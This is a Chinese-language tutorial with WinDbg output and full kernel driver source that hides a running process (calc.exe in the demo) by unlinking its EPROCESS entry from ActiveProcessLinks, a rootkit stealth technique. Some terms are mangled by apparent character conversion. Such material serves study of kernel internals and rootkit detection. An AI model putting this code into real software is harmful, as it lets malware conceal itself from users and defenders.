我們可以通過周遊EProcess結構體中的雙向連結清單ActiveProcessLinks,找到目标程序結點後将該節點從雙向連結清單中移除,便實作了程序隐藏的目的,此時打開win7的任務管理器會發現運作的calc程序并沒有顯示。
使用windbg檢視EProcess結構:
2: kd> !process 0 0
//crtl+F查找explorer
PROCESS 892b9d40 SessionId: 1 Cid: 09e8 Peb: 7ffdd000 ParentCid: 09b8
DirBase: 7e2f4480 ObjectTable: 983c85a0 HandleCount: 622.
Image: explorer.exe
2: kd> dt _eprocess 892b9d40
nt!_EPROCESS
+0x000 Pcb : _KPROCESS
+0x098 ProcessLock : _EX_PUSH_LOCK
+0x0a0 CreateTime : _LARGE_INTEGER 0x01d3b06d`2b360a55
+0x0a8 ExitTime : _LARGE_INTEGER 0x0
+0x0b0 RundownProtect : _EX_RUNDOWN_REF
+0x0b4 UniqueProcessId : 0x000009e8 Void
+0x0b8 ActiveProcessLinks : _LIST_ENTRY [ 0x893060e8 - 0x892b62a8 ]
2: kd> dt _LIST_ENTRY
nt!_LIST_ENTRY
+0x000 Flink : Ptr32 _LIST_ENTRY
+0x004 Blink : Ptr32 _LIST_ENTRY
Ring.0檔案:
#pragma once
#include<fltKernel.h>
#define ACTIVEPROCESSLINKS 0x0b8 //程序的雙向連結清單
#define IMAGEFILENAME_EPROCESS 0x16c //程序名稱
BOOLEAN HideProcess(char* ProcessNameData);
//驅動解除安裝派遣例程
void DriverUnload(PDRIVER_OBJECT DriverObject);
Ring0.c檔案:
#include"HideProcess.h"
//入口函數
NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegisterPath)
{
DbgPrint("HelloDriver\r\n");
//參數為指針型 并且未使用 需要告訴編譯器可以釋放記憶體
UNREFERENCED_PARAMETER(RegisterPath);
NTSTATUS Status = STATUS_SUCCESS;
//驅動解除安裝派遣例程
DriverObject->DriverUnload = DriverUnload;//函數指針指派
if (HideProcess("calc.exe") == FALSE)
{
DbgPrint("No Exit\r\n");
}
return Status;
}
BOOLEAN HideProcess(char * ProcessNameData)
{
PLIST_ENTRY ListEntry = NULL;
PEPROCESS EProcess = NULL;
PEPROCESS v1 = NULL;//遊走
PEPROCESS EmptyEProcess = NULL;
char* ImageFileName = NULL;
//獲得目前程序的_eprocess位址 (驅動都運作在第一程序System.exe)
EProcess = PsGetCurrentProcess();
if (EProcess == NULL)
{
return FALSE;
}
//遊走指針
v1 = EProcess;
//雙向連結清單的位址
ListEntry = (PLIST_ENTRY)((UINT8*)EProcess + ACTIVEPROCESSLINKS);
//上一個_eprocess的首位址 System.exe程序上一個是空頭節點
EmptyEProcess = (PEPROCESS)((((ULONG_PTR)ListEntry->Blink)) - ACTIVEPROCESSLINKS);
ListEntry = NULL;
while (v1!=EmptyEProcess)//遊走指針不是空頭節點
{
//獲得程序名稱
ImageFileName = (char*)((UINT8*)v1 + IMAGEFILENAME_EPROCESS);
//獲得雙向連結清單的位址
ListEntry = (PLIST_ENTRY)((ULONG_PTR)v1 + ACTIVEPROCESSLINKS);
if (strstr(ImageFileName, ProcessNameData) != NULL)
{
if (ListEntry != NULL)
{
//找到目标程序 從雙向連結清單中移除
RemoveEntryList(ListEntry);
break;
}
}
//遊走指針指向下一個程序的_eprocess位址
v1 = (PEPROCESS)(((ULONG_PTR)(ListEntry->Flink)) - ACTIVEPROCESSLINKS);
}
return TRUE;
}
//驅動解除安裝派遣例程
void DriverUnload(PDRIVER_OBJECT DriverObject)
{
UNREFERENCED_PARAMETER(DriverObject);
DbgPrint("DriverUnload()\r\n");
}